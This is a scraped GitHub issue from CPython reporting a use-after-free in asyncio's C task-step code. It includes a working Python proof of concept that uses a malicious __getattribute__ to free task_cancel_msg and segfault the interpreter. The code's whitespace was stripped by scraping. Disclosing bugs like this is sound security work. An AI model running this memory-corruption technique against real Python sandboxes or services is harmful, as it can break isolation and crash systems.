Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

UAF when using a malicious__getattribute__ when calling a class'scancel function intask_step_handle_result_impl in_asynciomodule.c #126138

Closed
Assignees
Nico-Posada
Labels
3.12only security fixes3.13bugs and security fixes3.14bugs and security fixesextension-modulesC modules in the Modules dirtopic-asynciotype-crashA hard crash of the interpreter, possibly with a core dump
@Nico-Posada

Description

@Nico-Posada

Crash report

What happened?

This is the bug I mentioned I was looking into in#126080 (comment), but it's the same as all the ones that came before this.

PyObject*r;
intis_true;
r=PyObject_CallMethodOneArg(result,&_Py_ID(cancel),
task->task_cancel_msg);

task->task_cancel_msg is missing an incref before usage so we can use a malicious__getattribute__ function in our class to free it before it gets sent to ourcancel function.

PoC

importasyncioimporttypesasyncdefevil_coroutine():@types.coroutinedefsync_generator():# ensure to keep obj alive after the first send() callglobalevilwhile1:yieldevilawaitsync_generator()classLoop:is_running=staticmethod(lambda:True)get_debug=staticmethod(lambda:False)classEvil:_asyncio_future_blocking=Trueget_loop=staticmethod(lambda:normal_loop)defadd_done_callback(self,callback,*args,**kwargs):# sets task_cancel_msg to our victim object which will be deletedasyncio.Task.cancel(task,to_uaf)defcancel(self,msg):# if hasn't crashed at this point, you'll see its the same object that was just deletedprint("in cancel",hex(id(msg)))def__getattribute__(self,name):globalto_uafifname=="cancel":classBreak:def__str__(self):raiseRuntimeError("break")# at this point, our obj to uaf only has 2 refs, `to_uaf` and `task->task_cancel_msg`. Doing a partial task init will clear# fut->fut_cancel_msg (same thing as task_cancel_msg, it's just been cast to a fut obj), and then we can just `del to_uaf` to free# the object before it gets sent to our `cancel` functry:task.__init__(coro,loop=normal_loop,name=Break())exceptExceptionase:asserttype(e)==RuntimeErrorande.args[0]=="break"delto_uaf# to_uaf has now been deleted, but it will still be sent to our `cancel` funcreturnobject.__getattribute__(self,name)classDelTracker:def__del__(self):print("deleting",hex(id(self)))to_uaf=DelTracker()normal_loop=Loop()coro=evil_coroutine()evil=Evil()task=asyncio.Task.__new__(asyncio.Task)task.__init__(coro,loop=normal_loop,name="init",eager_start=True)

Output

deleting 0x7f7a49cf9940in cancel 0x7f7a49cf9940Segmentation fault

CPython versions tested on:

3.13

Operating systems tested on:

Linux

Output from running 'python -VV' on the command line:

Python 3.13.0 (tags/v3.13.0:60403a5409f, Oct 10 2024, 09:24:12) [GCC 13.2.0]

Linked PRs

Metadata

Metadata

Assignees

Labels

3.12only security fixes3.13bugs and security fixes3.14bugs and security fixesextension-modulesC modules in the Modules dirtopic-asynciotype-crashA hard crash of the interpreter, possibly with a core dump

Projects

Status

Done

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions


    [8]ページ先頭

    ©2009-2025 Movatter.jp